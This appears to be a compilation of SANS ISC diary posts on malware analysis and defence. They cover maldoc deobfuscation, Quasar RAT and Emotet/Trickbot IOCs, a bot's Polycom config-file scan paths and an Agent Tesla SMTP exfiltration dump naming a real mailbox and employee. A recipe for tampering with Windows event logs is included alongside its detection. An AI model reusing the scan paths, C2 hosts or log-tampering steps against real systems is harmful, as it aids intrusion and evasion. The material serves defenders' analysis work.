The sample we analyze today is a malicious Office document, using PowerShell to download its payload via BITS.

Taking a look with msoffcrypto-crack and oledump gives the following:

Stream 6 contains VBA code with strings that look like BASE64 encoded data:

There are a lot of uppercase letter As in this BASE64 string, so this might be UNICODE, which often turns out to be a PowerShell script.

However, base64dump does not select these strings as BASE64. That's because syntactically, they are not valid BASE64. The number of characters in a BASE64 string must be a multiple of 4. This is not the case here.

To hamper analysis and detection, the malware authors did split the BASE64 string in chunks that are not valid BASE64 strings. First, we need to reassemble these strings to complete our analysis.

To achieve this, we extract all double-quoted strings (without the double-quotes) using re-search.py:

Then with grep, we select all strings that are long enough (at least 70 bytes long, e.g. regular expression .{70,}):

And then we can use base64dump again, this time with option -w, to ignore all whitespace. This results in the concatenation of these BASE64 fragments prior to decoding:

And it is indeed a PowerShell script, using module BitsTransfer to download (and run) an executable:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Reader Chad submitted a malicious Office document, delivered as an email attachment. The maldoc was encrypted, and the password was mentioned in the email: PETROFAC.

But that wasn't the correct password. Luckily, Chad found and shared the correct password with us: petrofac.

The good news is that the recipient won't be able to open the document, and might even call the helpdesk. The user's machine won't get infected, and the SOC might get alerted indirectly by the user.

However, as an analyst, you want to be able to analyze the document to recover IOCs and check the logs for sign of compromise (other maldocs, with a valid password and using the same IOCs might have passed the company's defenses).

You can quickly crack the password with John the Ripper or Hashcat, but there are corporations were such tools are even prohibited for the blue teams.

Some time ago, I created a Python tool to help with encrypted Office maldocs: msoffcrypto-crack.py. This maldoc inspired me to make a small change to my tool: add an optional rule to perform case toggling when working through a password list.

For this sample, using option -r an providing a password list including PETROFAC, my tool will test PETROFAC and petrofac. There's also an option to provide the email body to extract potential passwords.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

One of my honeypots detected a nice scan yesterday. A bot was looking for Polycom master provisioning files. Such files are called by default '000000000000.cfg’ and contain interesting information to perform provisioning of VoIP phones. Normally, this file is renamed with the MAC address of the phone (ex: a1b2c3d4e5f6.cfg) but the name can be left intact and, if the phone can’t find his own MAC address-based configuration, it will pull the default file.

Here is the list of scanned files:

/cfgvoip/polycom/0000000000000.cfg
/configs/device/polycom/0000000000000.cfg
/device/polycom/0000000000000.cfg
/ftp/polycom/0000000000000.cfg
/bws/provisioner/polycom/0000000000000.cfg
/config/sipphone/polycom/0000000000000.cfg
/polycomftp/0000000000000.cfg
/p/config/polycom/0000000000000.cfg
/vcfg/polycom/0000000000000.cfg
/pbx/polycom/0000000000000.cfg
/home/tftpboot/polycom/0000000000000.cfg
/config/tftp/polycom/0000000000000.cfg
/pps/polycom/0000000000000.cfg
/tftproot/polycom/0000000000000.cfg
/xml/polycom/0000000000000.cfg
/app/polycom/0000000000000.cfg
/ipeconfig/polycom/0000000000000.cfg
/p/v2/config/polycom/0000000000000.cfg
/tftpboot/polycom/0000000000000.cfg
/SIPCfg/0000000000000.cfg
/voip_provisioning/0000000000000.cfg
/tftpboot/backup/0000000000000.cfg
/tftpphone/0000000000000.cfg
/voice/0000000000000.cfg
/files/0000000000000.cfg
/provisioner/0000000000000.cfg
/phoneprov/0000000000000.cfg
/pbxcfg/0000000000000.cfg
/l/0000000000000.cfg
/cfgsip/0000000000000.cfg
/cfgs/0000000000000.cfg
/sipphones/0000000000000.cfg
/cfgvoice/0000000000000.cfg
/sip_phone/0000000000000.cfg
/deskphone/0000000000000.cfg
/PP/0000000000000.cfg
/backup/0000000000000.cfg
/cfgvoip/0000000000000.cfg
/configs/device/0000000000000.cfg
/device/0000000000000.cfg
/ftp/0000000000000.cfg
/bws/provisioner/0000000000000.cfg
/config/sipphone/0000000000000.cfg
/p/config/0000000000000.cfg
/vcfg/0000000000000.cfg
/pbx/0000000000000.cfg
/home/tftpboot/0000000000000.cfg
/config/tftp/0000000000000.cfg
/pps/0000000000000.cfg
/tftproot/0000000000000.cfg
/xml/0000000000000.cfg
/app/0000000000000.cfg
/ipeconfig/0000000000000.cfg
/p/v2/config/0000000000000.cfg
/tftpboot/0000000000000.cfg
/devicecfg/0000000000000.cfg
/configpolycom/0000000000000.cfg
/voip/0000000000000.cfg
/phone/config/0000000000000.cfg
/config/phone/0000000000000.cfg
/voipprov/0000000000000.cfg
/cfgprov/0000000000000.cfg
/sip/config/0000000000000.cfg
/sip/0000000000000.cfg
/voipconfig/0000000000000.cfg
/tftp/0000000000000.cfg
/cfg/config/0000000000000.cfg
/sipphone/0000000000000.cfg
/devicecfg/polycom/0000000000000.cfg
/polycom/config/0000000000000.cfg
/sip/config/polycom/0000000000000.cfg
/polycom/phones/0000000000000.cfg
/sip/polycom/0000000000000.cfg
/polycom/phone/0000000000000.cfg
/sipphone/polycom/0000000000000.cfg
/config/phone/polycom/0000000000000.cfg
/cfg/config/polycom/0000000000000.cfg
/tftp/polycom/0000000000000.cfg
/voip/polycom/0000000000000.cfg
/phone/config/polycom/0000000000000.cfg
/voipconfig/polycom/0000000000000.cfg
/home/polycom/0000000000000.cfg
/cfgprov/polycom/0000000000000.cfg
/voipprov/polycom/0000000000000.cfg
/polycom/polycom/0000000000000.cfg
/autoprpvisioning/polycom/0000000000000.cfg
/autoprpvision/polycom/0000000000000.cfg
/autoprpv/polycom/0000000000000.cfg
/autoprovisioning/polycom/0000000000000.cfg
/autoprovision/polycom/0000000000000.cfg
/autoprov/polycom/0000000000000.cfg
/phones/polycom/0000000000000.cfg
/phone/polycom/0000000000000.cfg
/configs/polycom/0000000000000.cfg
/config/polycom/0000000000000.cfg
/conf/polycom/0000000000000.cfg
/cfg/polycom/0000000000000.cfg
/provisioning/polycom/0000000000000.cfg
/provision/polycom/0000000000000.cfg
/prov/polycom/0000000000000.cfg
/pv/polycom/0000000000000.cfg
/p/polycom/0000000000000.cfg
/polycom/0000000000000.cfg
/autoprpvisioning/0000000000000.cfg
/autoprpvision/0000000000000.cfg
/autoprpv/0000000000000.cfg
/autoprovisioning/0000000000000.cfg
/autoprovision/0000000000000.cfg
/autoprov/0000000000000.cfg
/phones/0000000000000.cfg
/phone/0000000000000.cfg
/configs/0000000000000.cfg
/config/0000000000000.cfg
/conf/0000000000000.cfg
/cfg/0000000000000.cfg
/provisioning/0000000000000.cfg
/provision/0000000000000.cfg
/prov/0000000000000.cfg
/pv/0000000000000.cfg
/p/0000000000000.cfg
/0000000000000.cfg

The IP address was %%ip:185.53.88.96% and has a bad score in our DShield database.

Such configuration files contain very sensitive information about internal networks and should never be publicly available. If you detected the same kind of scan recently, please share!

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Our reader Marc reports a vulnerability posted by Cisco yesterday: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190925-ios-gos-auth

This issue affects hosts that support and are running Guests as a Hypervisor.  In particular, the note calls out model 800 Industrial ISR Routers and model 1000 Grid routers.  The vulnerability describes a failure in RBAC (Role Based Access Control), where a guest user can get access to a guest VM when only admin users have that access configured - so a privilege escallation from host to guest.

While this affects only a very small subset of Cisco customers, the customers that are affected are likely to be in the public utility sector, and be subject to NERC / FERC regulatory controls.  

So for the folks that are affected by this, please treat this as a high priority, time to schedule a maintenance window to patch!

===============
Rob VandenBrink
rob <at> coherentsecurity.com

So often when we're working an incident on the network side, we quickly end up at Layer 2, working with MAC Addresses.
MAC addresses are 48 bit (6 bytes, or 12 hex characters) values, and are commonly split by a colons, dashes or dots (all are equally valid):

aa:bb:cc:dd:ee:ff
aa-bb-cc-dd-ee-ff
aabbcc-ddeeff
aabb.ccdd.eeff

MAC addresses are commonly split, with the leading bits being the OUI (Organizationally Unique Identifier).  These OUI's (also called MAC Address Prefixes) are purchased from the IEEE (at https://standards.ieee.org/products-services/regauth/oui/index.html).  The most commonly seen OUI's are 24 bits wide, so the first 3 bytes of the MAC.  So in our example above, the corresponding 24 bit OUI would be: aabbcc, and the host "bits" would be ddeeff.  However, that "OUI boundary" can move to a 28 or 36 byte boundary, for instance if the vendor wants a smaller allocation of addresss.  In that case, OUIs of aabbccd00000/28 or aabbccdde000/36 would both also be valid identifiers.  Note that if the boundary isn't at the mid-point, that the trailing zero's and the bit-wise mask are normally written out.

All interesting you say, but what does this have to do with security?  All too often when looking at MAC address tables, we see something "odd", and it struck me that it'd be handy to have a quick lookup tool.  Wireshark maintains a very most complete online tool (https://www.wireshark.org/tools/oui-lookup.html ), and is usually my go-to.  However, it means that I need internet access, it's not easy to script using a webpage, and on most of my hardware I need to scroll up and down to use that page.  Luckily they maintain their OUI Table in text format at  https://standards.ieee.org/products-services/regauth/oui/index.html

So with a text file in hand, I wrote a quick-and-dirty shell script to download the file it if it isn't there, and grep it for OUI's, partial OUI's or vendor names:

For instance, what OUI's does VMware use for it's VMs?

root@kali:~# ./oui.sh vmware
000569  Vmware  VMware, Inc.
000C29  Vmware  VMware, Inc.
001C14  Vmware  VMware, Inc.
005056  Vmware  VMware, Inc.

Alternatively, if we were looking up an OUI that we got from a switch "show mac address-table" command:

root@kali:~# ./oui.sh 0050:56
005056  Vmware  VMware, Inc.

Or, if you want a list of all vendors that have smaller allocations, let's list the folks with /28's:

root@kali:~# ./oui.sh /28 | more
0055DA000000/28 ShinkoTe        Shinko Technos co.,ltd.
0055DA100000/28 Koolpos KoolPOS Inc.
0055DA200000/28 BeijingC        Beijing Connected Information Technology Co.,Ltd.
0055DA300000/28 NovexxSo        Novexx Solutions GmbH
0055DA400000/28 Datapath        Datapath Limited
0055DA500000/28 Nanoleaf
.....

This script, plus a Windows equivalent cmd file is in my github at: https://github.com/robvandenbrink/ouilookup

Notes:

The Windows version uses c:\utils for the downloaded text file.  I usually keep the script in the same place, but it can really reside anyplace in the path.
The Linux version downloads the text file to $HOME/Downloads, the script can reside anywhere

Edit the script you are using if these directories are not desirable in your situation.

Syntax:

     OUI NN:NN:NN      Request information on a specific OUI
                       Input is NOT case sensitive
                       Acceptable delimiters include ":", "." or "-"
                       Address delimeters can be in any position (at the byte or word boundaries for instance)
                       Address delimeters are optional, and can be partially specified
                       So any of 005000, 00:50:00, 0050.00, 00-50-00 and just 50 are acceptable inputs
    OUI Manufacturer   List all OUI's associated with a manufacturer
                       Partial company names are acceptable
                       Input is NOT case sensitive
    OUI update         Update the OUI listing
                       This update comes from Wireshark's consolidated vendor list (as noted above)

If you've worked an incident where MAC / OUI information was crucial in getting to a solution, please, share using our comment form! (please stay within your NDA of course).

Stay tuned, in my next story we'll use this approach to find "odd" stations in your network.

===============
Rob VandenBrink
rob <at> coherentsecurity.com

Introduction

Quasar is a publicly-available Remote Access Tool (RAT) for Windows hosts.  Here is a link to the Github page for Quasar RAT.  This RAT is occasionally distributed as malware through malicious spam (malspam).  On Tuesday 2019-09-24 I found malspam with malware based on Quasar RAT.  Today's diary reviews the infection activity.

The email

Shown above:  Screenshot of the email.

Shown above:  The attachment and extracted Windows executable for Quasar RAT.

Infection traffic

Shown above:  Screenshot of the infection traffic filtered in Wireshark.

Post-infection forensics

Shown above:  Quasar RAT artifacts on the infected Windows host

Indicators of Compromise (IOCs)

The following infection traffic was seen on my infected lab host:

• 192.3.204[.]194 port 442 - www.tradersbolt[.]com - GET /126/invoice1.exe
• port 80 - ip-api[.]com - GET /json/ - IP address check (not inherently malicious)
• 92.99.135[.]246 port 4782 - greatest.ddns[.]net - attempted TCP connections but no response
• 45.74.60[.]135 port 4782 - greatest.ddns[.]net - Quasar RAT C2 traffic
• port 80 - puu[.]sh - GET /jMSLc.txt
• port 443 - puu[.]sh - HTTPS traffic
• port 80 - icanhazip[.]com - GET / - IP address check (not inherently malicious)
• port 587 - mail.totallyanonymous[.]com - Encrypted SMTP traffic from Quasar RAT-infected host

The following items are malware associated with this infection:

SHA256 hash: abc980ebd2463ff522ff090914cc21d02915f643f385ee0ea0af23d51a18e47f

• File size: 861,270 bytes
• File name: invoice1.zip
• File description: Zip attachment from malspam

SHA256 hash: edcbbb59405b2bb97269ed5db32a15b57154221adb9504ff828ee367953cccc1

• File size: 1,084,928 bytes
• File name: invoice1.exe
• File location: hxxps://www.tradersbolt[.]com/126/invoice1.exe
• File location: C:\Users\[username]\AppData\Roaming\filename.exe
• File description: Quasar RAT EXE extracted from zip attachment or retreived from link in the malspam

SHA256 hash: 065ac3f23800921135b1794706aca86ab59c94ab463c5c17a4d3535bf9aab828

• File size: 300,544 bytes
• File location: C:\Users\[username]\AppData\Local\Temp\4VBTZWE4Ngo6.exe
• File description: File created when Quasar RAT EXE was executed (1 of 2)

SHA256 hash: 389863b056fa0c3d4ebf130103445bc56769824f1e6cecea9c950744b80752b0

• File size: 422,139 bytes
• File location: C:\Users\[username]\AppData\Local\Temp\K8k8zyGhVEbc.exe
• File description: File created when Quasar RAT EXE was executed (2 of 2)

Final words

The email, a pcap of the infection traffic, and the associated malware is available here.

Brad Duncan
brad [at] malware-traffic-analysis.net

I'm keeping an eye on the certificate transparency logs[1] using automated scripts. The goal is to track domain names (and their variations) of my customers, sensitive services in Belgium, key Internet players and some interesting keywords. Yesterday I detected a peak of events related to the domain 'remotewebaccess.com'. This domain, owned by Microsoft, is used to provide temporary remote access to Windows computers[2]. Microsoft allows you to use your own domain but provides also (for more convenience?) a list of available domains. Once configured, you are able to access the computer from a browser:

In my logs, just for yesterday, I found 49610 entries based on the domain 'remotewebaccess.com'. In many cases, the first part of the FQDN reveals clearly the name of the company or the business (ex: 'clinic', 'health', etc). Amongst those sites, approximately 500 were alive and reachable from anywhere.

Be careful when you use this feature because your chosen FDQN can be disclosed in certificate transparency lists and they are not only watched by blue teams!

[1] http://www.certificate-transparency.org/known-logs
[2] https://techcommunity.microsoft.com/t5/Windows-Server-Essentials-and/Configuring-and-Customizing-Remote-Web-Access-on-Windows-Server/ba-p/398904

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Almost a year ago, I reported on a new feature in YARA version 3.8.0: YARA XOR Strings. The new YARA xor keyword allows for the search of strings that are XOR-encoded with a one-byte key.

In that diary entry, I pointed out that using the xor modifier would result in not matching strings that are not xor-encoded (or encoded with key 0x00). Assuming this was the intended behavior, I did not report this as a bug.

But for Victor, it was a bug. I missed this with the release of YARA 3.10.0 in may, but a bugfix was included for the xor modifier.

With version 3.8.0, XOR key 0x00 is not detected:

And with version 3.10.0, it is:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

In this video, I show how to use my PDF tools together with QPDF and Poppler to deal with encrypted PDFs, like the sextortion PDFs that were submitted recently.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Wireshark 3.0.5 was just released.

There's a warning for Windows users: you might need to perform a manual uninstall of Npcap to avoid a potential Windows crash.

From the release notes:

If you have Npcap 0.994 or 0.995 installed, your system might crash when upgrading. We recommend that you uninstall these versions manually prior to installing Wireshark. See Npcap bugs 1591 and 1675 for more details. You can uninstall either version manually by doing the following:

1. Open a command or PowerShell prompt as Administrator and run sc.exe config npcap start=disabled.

2. Run sc.exe config npf start=disabled. This will fail if WinPcap compatibility mode isn’t enabled, but is otherwise harmless.

3. Reboot (optional).

4. Open “Programs and Features” in the Control Panel or “Apps & features” in Settings and uninstall Npcap.

5. Open “Device Manager” (devmgmt.msc) in the Control Panel and expand the “Network adapters” section. Uninstall each “Npcap Loopback Adapter” that you find.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

It's Friday today, I'd like to talk about something else. Black (or white) lists are everywhere today. Many security tools implement a way to allow/deny accesses or actions on resources based on "lists" bsides the automated processing of data. The approach to implement them is quite different:

A classic example is applications allowed to users on endpoints in a corporate environment (Microsoft AppLocker[1] works like this): You can allow all applications but block some or you can deny all applications but allow only approved ones.

When you have a security product that implements both types, how are they processed? In which order? Let's take an example that I faced yesterday at a customer. The security product is a mail protection system which scans incoming SMTP traffic, extracts emails, attachments and tests them (in a sandbox if needed). Two types of lists are available and may contain the following indicators:

• A sender email address
• A sender domain
• A sender IP address
• An URL
• A MD5 hash
• A recipient email address

Lists are:

• Allowed list
• Blocking list

This looks very efficient: you can white list IP addresses of internal SMTP relays, domains from partners, or block domains used by spammers. But it can also have nasty effects. The question to think about is: In which order are the lists processed? They are multiple scenarios possible:

• Process the blocking list first and, if a match is found, stop processing the other list
• Process the allowed list first and, if a match is found, stop processing the other list
• Process the blocking list and, if a match is found, check in the allowed list if there isn't an exception
• Process the allowed list and, if a match is found, check in the blocking list if there isn't an exception

Let's take the practical example that I faced yesterday as an example:

In the blocking list, there is a rule to prevent people to receive emails from the following domain: "efax.com". This rule is in place for months. Suddenly, a user complained that he can't receive emails from the domain "telefax.com.uy". So, we added a rule in the allowed list to always allow emails sent from this domain. But it did not work... After some investigations, we found the issue!

The blocking list is processed in the first place and still rejected emails from telefax.com.uy (because the 'efax.com' rule matched). But why does it match a sub-string of the domain? By reading the documentation, we found that regular exceptions are allowed in rules.

To fix this issue, we changed the blocking rule to '^efax\.com$' to really match this domain and nothing else. With this configuration, the blocking list did not match any rule and the allowed list matched on 'telefax.com.uy". Happy user!

Conclusion: The implementation of white or black-list is not easy and must be carefully tested and... RTFM[2] to be sure to fully understand their priority!

[1] https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview
[2] https://en.wikipedia.org/wiki/RTFM

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

The trojan 'Agent Tesla' is not brand new, discovered in 2018, it is written in VisualBasic and has plenty of interesting features. Just have a look at the MITRE ATT&CK overview of its TTP[1].

I found a sample of Agent Tesla spread via a classic email campaign. The sample is delivered in an ACE archive called 'Parcel Frieght Details.pdf.ace' (SHA256:d990171e0227ea9458549037fdebe2f38668b1ccde0d02198eee00e6b20bf22a). You can spot the type error in the file name ('frieght' instead of 'freight'). The archive has a VT score of  8/57[2]. Inside the archive, there is a PE file with the same typo error: 'Parcel Frieght Details.pdf.exe' (SHA256:5881f0f7dac664c84a5ce6ffbe0ea84427de6eb936e6d8cb7e251d9a430cd42a). The PE file is unknown on VT when writing this diary.

Agent Tesla uses multiple exfiltration techniques: SMTP, FTP & HTTP. In this case, the sample used SMTP to exfiltrate the victim’s data. He connected to an SMTP server via port 587. Why TCP/587 and not the regular TCP/25?  Because, while connecting via this port, the remote SMTP server will require authentication. If port 25 is often firewalled, port 587 remains open for egress traffic on many networks.

Here is a dump of the SMTP traffic:

EHLO PlayBox1

250-res180.servconfig.com Hello PlayBox1 [x.x.x.x]
250-SIZE 52428800
250-8BITMIME..250-PIPELINING
250-AUTH PLAIN LOGIN
250-CHUNKING
250-STARTTLS
250 HELP

AUTH login bXNoYWhpZEBtZWRpdXJnZS5jb20=

334 UGFzc3dvcmQ6

<removed>

235 Authentication succeeded

MAIL FROM:<mshahid@mediurge.com>

250 OK

RCPT TO:<mshahid@mediurge.com>

250 Accepted

DATA

354 Enter message, ending with "." on a line by itself

MIME-Version: 1.0
From: mshahid@mediurge.com
To: mshahid@mediurge.com
Date: 18 Sep 2019 08:44:10 +0100
Subject: admin/PlayBox1 Recovered Accounts

Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

Time: 09/18/2019 07:44:01<br>
UserName: administrator<br>
ComputerName: PLAYBOX1<br>
OSFullName: Microsoft Windows 7 Professional <br>CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz<br>
RAM: 3583.61 MB<br>
IP: x.x.x.x
<hr>
URL: https://www.facebook.com/<br>
Username: john.doe@pwn3d.be<br>
Password: SuperSafePW<br>

Application: Chrome<br><hr>
URL:  https://www.facebook.com<br>
Username: john.doe@pwn3d.be<br>
Password: SuperSafePW<br>

Application: Outlook
.

250 OK id=1iAUdG-002MAp-KD

mediurge.com is a company based in Pakistan which delivers healthcare products but their website is running on a server hosted in Los Angeles, US. The server has many open ports and vulnerabilities as reported by Shodan[3].

You can see that this server exposes a lot of services and suffers from multiple vulnerabilities. Probably, the attackers compromized the server and retrieved the password of the mailbox 'mshahid@mediurge.com' or they obtained the password via another way. The email address is a valid one and matches an employee of this company[4]:

For the attackers, it's easy to collect exfiltrated data by fetching the mailbox via POP3 or IMAP4 (both are available according to Shodan). 

Tip: Keep an eye on your mail server activity to detect unusual behaviour (peak of traffic, connections from unusual locations, ...)

[1] https://attack.mitre.org/software/S0331/
[2] https://www.virustotal.com/gui/file/d990171e0227ea9458549037fdebe2f38668b1ccde0d02198eee00e6b20bf22a/detection
[3] https://www.shodan.io/host/205.134.252.187
[4] https://www.linkedin.com/in/muhammad-shahid-ghafoor-87622240/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

As already reported, malicious spam (malspam) pushing Emotet is back approximately 3 and 1/2 months after it disappeared.  Today's diary reviews infection traffic from Tuesday, 2019-09-17.

Emotet's disappearance

After May 2019, I stopped finding any new examples of malspam pushing Emotet.  As early as 2019-06-09, someone reported the command and control (C2) infrastructure for Emotet had gone silent.  The C2 infrastructure was active again as early as 2019-08-22, which led to several reports that Emotet was back.  However, no malspam was reported until Monday 2019-09-16.  Since then, Emotet activity levels are back to what we saw before the 3 and 1/2 month break.

A new Emotet malspam example

Recent examples of Emotet malspam I found all use German language message text.  Like before, this malspam uses attached Word documents, or it uses links to download Word documents.  These Word documents have malicious macros designed to infect a vulnerable Windows host with Emotet.

Shown above:  Screenshot of Emotet malspam from Tuesday 2019-09-17.

Shown above:  The attached Word document with macros for Emotet.

Infection traffic

Traffic for this Emotet infection was typical for what we saw before the 3 and 1/2 month break.  Emotet acts as a distributor for other malware, and in this case I saw Trickbot traffic after the initial Emotet infection.

Shown above:  Traffic from the infection filtered in Wireshark.

Forensics on the infected Windows host

I saw the same type of artifacts on my infected Windows host that I'd seen in recent Emotet and/or Trickbot infections.  See the images below for details.

Shown above:  Emotet from the infected Windows host.

Shown above:  Trickbot on the infected Windows host.

Shown above:  Trickbot modules on the infected Windows host.

Shown above:  Persistence mechanisms for Emotet and Trickbot on the infected host.

Indicators of Compromise (IoCs)

URLs caused by the Word macro to retrieve an Emotet EXE:

• 148.72.121[.]17 port 80 - fitchciapara[.]com - GET /wp-admin/rau3e7/
• 139.162.22[.]163 port 443 (HTTPS) - www.internetshoppy[.]com - GET /wp-includes/971426/
• 104.28.29[.]56 port 443 (HTTPS) - blog.medkad[.]com - GET /wp-admin/e9684/
• 107.180.0[.]193 port 80 - www.sirijayareddypsychologist[.]com - GET /roawk/0kwsol940/
• 205.144.171[.]168 port 80 - komatireddy[.]net - GET /wp-content/911968/

Post-infection traffic caused by Emotet:

• 187.155.233[.]46 port 443 - 187.155.233[.]46:443 - POST /jit/cookies/sess/ 
• 190.200.64[.]180 port 7080 - 190.200.64[.]180:7080 - POST /enabled/report/sess/ 
• 198.199.106[.]229 port 8080 - 198.199.106[.]229:8080 - POST /splash/stubs/sess/ 
• 198.199.106[.]229 port 8080 - 198.199.106[.]229:8080 - POST /cab/nsip/sess/ 
• 198.199.106[.]229 port 8080 - 198.199.106[.]229:8080 - POST /scripts/    
• 198.199.106[.]229 port 8080 - 198.199.106[.]229:8080 - POST /psec/arizona/ringin/ 
• 79.127.57[.]42 port 80 - attempted TCP connections, but no response from the server
• 181.81.143[.]108 port 80 - attempted TCP connections, but no response from the server
• 66.228.32[.]31 port 443 - attempted TCP connections, but no response from the server
• 198.50.170[.]27 port 8080 - attempted TCP connections, but no response from the server
• 216.98.148[.]157 port 8080 - attempted TCP connections, but no response from the server

Post-infection traffic caused by Trickbot:

• 186.47.40[.]234 port 449 - HTTPS/SSL/TLS traffic
• port 80 - api.ipify[.]org - GET /                                                 
• 185.222.202[.]62 port 447 - HTTPS/SSL/TLS traffic
• 178.170.189[.]52 port 447 - HTTPS/SSL/TLS traffic
• 195.123.221[.]178 port 447 - HTTPS/SSL/TLS traffic
• 170.238.117[.]187 port 8082 - 170.238.117[.]187:8082 - POST /mor2/[hostname]_[Windows version].[hex string]/90
• 170.238.117[.]187 port 8082 - 170.238.117[.]187:8082 - POST /mor2/[hostname]_[Windows version].[hex string]/81
• 104.168.98[.]206 port 80 - 104.168.98[.]206 - GET /samerton.png                                     
• 104.168.98[.]206 port 80 - 104.168.98[.]206 - GET /tablone.png                                      
• 195.123.238[.]83 port 447 - attempted TCP connections, but no response from the server
• 108.170.40[.]34 port 447 - attempted TCP connections, but no response from the server
• 194.5.250[.]79 port 447 - attempted TCP connections, but no response from the server
• 66.55.71[.]15 port 447 - attempted TCP connections, but no response from the server
• 195.123.238[.]110 port 447 - attempted TCP connections, but no response from the server

Files from the infected Windows host:

SHA256 hash: 34d2b83245696fa1dd24ef9ed4b33ef9172e9f6e274928628bd24c1de0763b47

• File size: 143,970 bytes
• File name: Info-092019-VC_6282.doc
• File description: Attachment from malspam--Word doc with macro for Emotet

SHA256 hash: de51c2bdcadf6ed9d159cdeb222af834144732da27e6f70e3d03019c57e221be

• File size: 76,288 bytes
• File location: hxxps://blog.medkad[.]com/wp-admin/e9684/
• File location: C:\Users\[username]\979.exe
• File location: C:\Users\[username]\AppData\Local\[random name]\[same random name].exe
• File description: Initial Emotet EXE retrieved by Word macro

SHA256 hash: b47d3146bf26d007cfbbb3a8527ae60885f265ed24e2a33ab3caad66f20e7683

• File size: 201,728 bytes
• File location: C:\Users\[username]\AppData\Local\[random name]\[same random name].exe
• File description: Updated Emotet EXE after initial infection

SHA256 hash: 571e071e1cf7151cabda294c7a41c72b541b7e17231a18ce815eed8e1b4dbaab

• File size: 782,336 bytes
• File location: C:\M9Y7o6OLANbw.exe
• File location: C:\ProgramData\[Georgian characters].exe
• File location: C:\Users\[username]\AppData\Roaming\MyCloud\[Georgian characters].exe
• File description: Trickbot (gtag: mor2) retrieved by Emotet-infected Windows host

Final Words

Pcap and malware from this infection can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

I recently TA'd the SANS SEC 504 class (Hacker Tools, Techniques, Exploits, and Incident Handling) , and one of the topics we covered was attackers "editing" windows event logs to cover their tracks, especially the Windows Security Event Log.

The method to do this is:

• Set the Windows Event Log service state to "disabled"
• Stop the service
• Copy the evtx log file to a temporary location
• Edit the copy
• Copy that edited log file back to the original location
• Set the service back to autostart

This method was brought to popular use by the "shadow brokers" leak back in 2017, and has been refined nicely for us pentesters since then these days.  This attack is easily scripted, so the whole sequence takes just seconds.

Often an an attacker or malware will create a new user with admin rights, create a service, or perform other tasks that give them elevated rights or persistence, and these things generally show up in the Security Event Log.  Editing the security event log covers their tracks nicely, so is part of the attacker's toolkit these days.

Since event log entries are numbered and sequential, any deletions show up pretty nicely as "holes" in that sequence.  Of course, seeing that "Event RecordID" number for a single event involves 3 mouse clicks (see below), so finding such a hole in your event log manually is pretty much impossible.

So it's a neat attack, combined with a complex detection method, which of course got me to thinking about using PowerShell for detection and automating it to within an inch of it's life....

To automate this task, I wrote a quick-and-dirty PowerShell script to collect the security event log, then rip through the events looking for Event Record IDs that are not sequential.  As always, feel free to edit this to work better for your environment.  The majority of the execution time for this is reading the actual log, so I didn't try to optimize the sequence checking at all (that part takes seconds, even for a hefty sized log).  

There are two caveats:

• Be sure that you have sufficient rights to read the log that you're targetting with this method - there's no sequence errors if you can't read any events :-)
• Reading an entire event log file into a list can be a lengthy and CPU intensive process.  You should budget that associated load into deciding when to run scripts like this.

Also as usual, I'll park this in my github at https://github.com/robvandenbrink.   Look for updates there over the next few days - I'll try to get a check into this code for log "wrapping"

This can certainly be run against a remote computer, by changing one line:
$SecEvents = Get-WinEvent "Security" -ComputerName $RemoteHostNameorIP

However, if you want to run this against a list of computers or all computers in a domain, consider the time involved - just on my laptop reading the Security Event log into a variable takes a solid 3 minutes.  While a busy domain controller or member server will have more CPU, it'll also have much larger logs.  In many domains checking all the hosts in sequence simply doesn't make sense, if you plan to run this daily, do the math first - it could easily take more than  24hrs to run domain-wide.  It's smarter to run this on all the target hosts at a scheduled time, and write all of the output to a central location - that gets the job done quickly and neatly, usually in a short after-hours window.

So for instance, change the summary "write-host" section in the script above to include:

You'll also likely want to:

• keep the script in a central location as well, so that if you update it there's no need to do any version checking. 
• set the permissions on that collection directory appropriately - you don't want to give your attacker read or delete rights to this directory!  It needs to be globally writable, but only admins need to be able to view or read from it.
• note that using this approach, the \\sharename\log-gaps directory should always be empty.  If you ever see a file, you have some investigating to do!
• be sure that local log files actually have a "lifetime" greater than 24 hours - if they over-write or wrap in less than a day, you'll want to fix that
• finally, automate the collection of any files that show up here.  You don't want tomorrow night's script to either fail or over-write the results from yesterday

Using this approach, each affected host will create their own summary file.  If you wanted to combine them:

• update the original script to include a $hostname field
• after the collection, "cat" all the files together into one consolidated file, then run that through "sort | uniq"
• Or, if you want to get fancy, you could send log "gaps" directly to your SIEM as they occur (the $BEvents variable)

If you ever have a file in the data collection directory, either you have a wrapped logfile, or you have an incident to deal with - as discussed you can easily integrate this into your SIEM / IR process.  

Also, if you are using this method to automate parsing the Security Event log, keep in mind that there are other logs that might be of interest as well.

In using methods like this, have you found an unexplained "gaps" in your logs that turned into incidents (or just remained unexplained)?  Please, share any war stories that aren't protected by NDA using our comment form!

===============
Rob VandenBrink
rob <at> coherentsecurity.com

We've written about sextortion emails several times. Reader Jason submitted another variant: password protected PDFs with a sextortion message (including QR code for the BTC address).

This gives me the opportunity to discuss some interesting aspects of encrypted PDFs.

PDFs can be encrypted for 2 main purposes: confidentiality and "Digital Rights Management" (DRM).

When a PDF is encrypted for confidentiality, the user has to provide a password upon opening of the PDF. This is known as the user password.

While opening a DRM PDF does not require the user to provide a password. The user can just read the content of the PDF without a password, but the user might be restricted as to what can be done with the PDF. For example, printing or copying text might be disabled. To change these DRM settings, the user needs an owner password.

